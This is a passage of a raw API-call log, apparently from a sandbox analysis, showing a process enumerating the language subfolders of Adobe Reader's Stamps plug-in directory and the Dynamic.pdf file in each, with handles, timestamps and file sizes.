dwFlags=0x0, lpMem=0x42bdf78 | out: hHeap=0x300000) returned 1 [0148.939] FindNextFileW (in: hFindFile=0x41916c0, lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff024a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff28600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff28600, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="KOR", cAlternateFileName="")) returned 1 [0148.939] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\KOR\\*", lpFindFileData=0x327e920 | out: lpFindFileData=0x327e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff024a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff28600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff28600, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191740 [0148.939] FindNextFileW (in: hFindFile=0x4191740, lpFindFileData=0x327e920 | out: lpFindFileData=0x327e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff024a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff28600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff28600, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.939] FindNextFileW (in: hFindFile=0x4191740, lpFindFileData=0x327e920 | out: lpFindFileData=0x327e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff28600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x12b04, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0148.939] FindClose (in: hFindFile=0x4191740 | out: hFindFile=0x4191740) returned 1 [0148.939] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x42bdf78 | out: hHeap=0x300000) returned 1 [0148.939] FindNextFileW (in: hFindFile=0x41916c0, lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7feb61e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7fedc340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7fedc340, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NLD", cAlternateFileName="")) returned 1 [0148.939] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NLD\\*", lpFindFileData=0x327e920 | out: lpFindFileData=0x327e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7feb61e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7fedc340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7fedc340, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191740 [0148.939] FindNextFileW (in: hFindFile=0x4191740, lpFindFileData=0x327e920 | out: lpFindFileData=0x327e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7feb61e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7fedc340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7fedc340, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.940] FindNextFileW (in: hFindFile=0x4191740, lpFindFileData=0x327e920 | out: lpFindFileData=0x327e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7feb61e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xff3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0148.940] FindClose (in: hFindFile=0x4191740 | out: hFindFile=0x4191740) returned 1 [0148.940] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x42bdf78 | out: hHeap=0x300000) returned 1 [0148.940] FindNextFileW (in: hFindFile=0x41916c0, lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff28600, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff28600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff28600, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NOR", cAlternateFileName="")) returned 1 [0148.940] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NOR\\*", lpFindFileData=0x327e920 | out: lpFindFileData=0x327e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff28600, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff28600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff28600, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191740 [0148.940] FindNextFileW (in: hFindFile=0x4191740, lpFindFileData=0x327e920 | out: lpFindFileData=0x327e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff28600, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff28600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff28600, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.940] FindNextFileW (in: hFindFile=0x4191740, lpFindFileData=0x327e920 | out: lpFindFileData=0x327e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff28600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xfbd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0148.940] FindClose (in: hFindFile=0x4191740 | out: hFindFile=0x4191740) returned 1 [0148.940] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x42bdf78 | out: hHeap=0x300000) returned 1 [0148.940] FindNextFileW (in: hFindFile=0x41916c0, lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x806bec20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x806e4d80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x806e4d80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="POL", cAlternateFileName="")) returned 1 [0148.941] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\POL\\*", lpFindFileData=0x327e920 | out: lpFindFileData=0x327e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x806bec20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x806e4d80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x806e4d80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191740 [0148.941] FindNextFileW (in: hFindFile=0x4191740, lpFindFileData=0x327e920 | out: lpFindFileData=0x327e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x806bec20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x806e4d80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x806e4d80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.941] FindNextFileW (in: hFindFile=0x4191740, lpFindFileData=0x327e920 | out: lpFindFileData=0x327e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806e4d80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x907a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0148.942] FindClose (in: hFindFile=0x4191740 | out: hFindFile=0x4191740) returned 1 [0148.942] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x42bdf78 | out: hHeap=0x300000) returned 1 [0148.942] FindNextFileW (in: hFindFile=0x41916c0, lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff748c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff748c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff748c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PTB", cAlternateFileName="")) returned 1 [0148.942] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\PTB\\*", lpFindFileData=0x327e920 | out: lpFindFileData=0x327e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff748c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff748c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff748c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191740 [0148.943] FindNextFileW (in: hFindFile=0x4191740, lpFindFileData=0x327e920 | out: lpFindFileData=0x327e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff748c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff748c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff748c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.943] FindNextFileW (in: hFindFile=0x4191740, lpFindFileData=0x327e920 | out: lpFindFileData=0x327e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff748c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc4a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0148.943] FindClose (in: hFindFile=0x4191740 | out: hFindFile=0x4191740) returned 1 [0148.943] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x42bdf78 | out: hHeap=0x300000) returned 1 [0148.943] FindNextFileW (in: hFindFile=0x41916c0, lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80698ac0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x806bec20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x806bec20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RUM", cAlternateFileName="")) returned 1 [0148.943] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUM\\*", lpFindFileData=0x327e920 | out: lpFindFileData=0x327e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80698ac0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x806bec20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x806bec20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191740 [0148.944] FindNextFileW (in: hFindFile=0x4191740, lpFindFileData=0x327e920 | out: lpFindFileData=0x327e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80698ac0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x806bec20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x806bec20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.944] FindNextFileW (in: hFindFile=0x4191740, lpFindFileData=0x327e920 | out: lpFindFileData=0x327e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806bec20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15fc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0148.944] FindClose (in: hFindFile=0x4191740 | out: hFindFile=0x4191740) returned 1 [0148.945] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x42bdf78 | out: hHeap=0x300000) returned 1 [0148.945] FindNextFileW (in: hFindFile=0x41916c0, lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80672960, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80698ac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80698ac0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RUS", cAlternateFileName="")) returned 1 [0148.945] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUS\\*", lpFindFileData=0x327e920 | out: lpFindFileData=0x327e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80672960, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80698ac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80698ac0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191740 [0149.115] FindNextFileW (in: hFindFile=0x4191740, lpFindFileData=0x327e920 | out: lpFindFileData=0x327e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80672960, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80698ac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80698ac0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0149.115] FindNextFileW (in: hFindFile=0x4191740, lpFindFileData=0x327e920 | out: lpFindFileData=0x327e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80698ac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xeac7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0149.115] FindClose (in: hFindFile=0x4191740 | out: hFindFile=0x4191740) returned 1 [0149.115] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x42bdf78 | out: hHeap=0x300000) returned 1 [0149.115] FindNextFileW (in: hFindFile=0x41916c0, lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8064c800, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80672960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80672960, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SKY", cAlternateFileName="")) returned 1 [0149.115] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY\\*", lpFindFileData=0x327e920 | out: lpFindFileData=0x327e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8064c800, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80672960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80672960, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191740 [0149.117] FindNextFileW (in: hFindFile=0x4191740, lpFindFileData=0x327e920 | out: lpFindFileData=0x327e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8064c800, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80672960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80672960, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0149.117] FindNextFileW (in: hFindFile=0x4191740, lpFindFileData=0x327e920 | out: lpFindFileData=0x327e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80672960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa85d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0149.118] FindClose (in: hFindFile=0x4191740 | out: hFindFile=0x4191740) returned 1 [0149.118] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x42bdf78 | out: hHeap=0x300000) returned 1 [0149.118] FindNextFileW (in: hFindFile=0x41916c0, lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8064c800, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8064c800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8064c800, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SLV", cAlternateFileName="")) returned 1 [0149.119] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV\\*", lpFindFileData=0x327e920 | out: lpFindFileData=0x327e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8064c800, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8064c800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8064c800, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191740 [0149.121] FindNextFileW (in: hFindFile=0x4191740, lpFindFileData=0x327e920 | out: lpFindFileData=0x327e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8064c800, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8064c800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8064c800, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0149.121] FindNextFileW (in: hFindFile=0x4191740, lpFindFileData=0x327e920 | out: lpFindFileData=0x327e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8064c800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e146, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0149.122] FindClose (in: hFindFile=0x4191740 | out: hFindFile=0x4191740) returned 1 [0149.122] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x42bdf78 | out: hHeap=0x300000) returned 1 [0149.122] FindNextFileW (in: hFindFile=0x41916c0, lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f804400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7f804400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7f804400, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SUO", cAlternateFileName="")) returned 1 [0149.122] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SUO\\*", lpFindFileData=0x327e920 | out: lpFindFileData=0x327e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f804400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7f804400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7f804400, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191740 [0149.123] FindNextFileW (in: hFindFile=0x4191740, lpFindFileData=0x327e920 | out: lpFindFileData=0x327e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f804400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7f804400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7f804400, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0149.123] FindNextFileW (in: hFindFile=0x4191740, lpFindFileData=0x327e920 | out: lpFindFileData=0x327e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f804400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe7e1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0149.123] FindClose (in: hFindFile=0x4191740 | out: hFindFile=0x4191740) returned 1 [0149.123] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x42bdf78 | out: hHeap=0x300000) returned 1 [0149.123] FindNextFileW (in: hFindFile=0x41916c0, lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff024a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff024a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SVE", cAlternateFileName="")) returned 1 [0149.123] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SVE\\*", lpFindFileData=0x327e920 | out: lpFindFileData=0x327e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff024a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff024a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191740 [0149.124] FindNextFileW (in: hFindFile=0x4191740, lpFindFileData=0x327e920 | out: lpFindFileData=0x327e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff024a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff024a0, 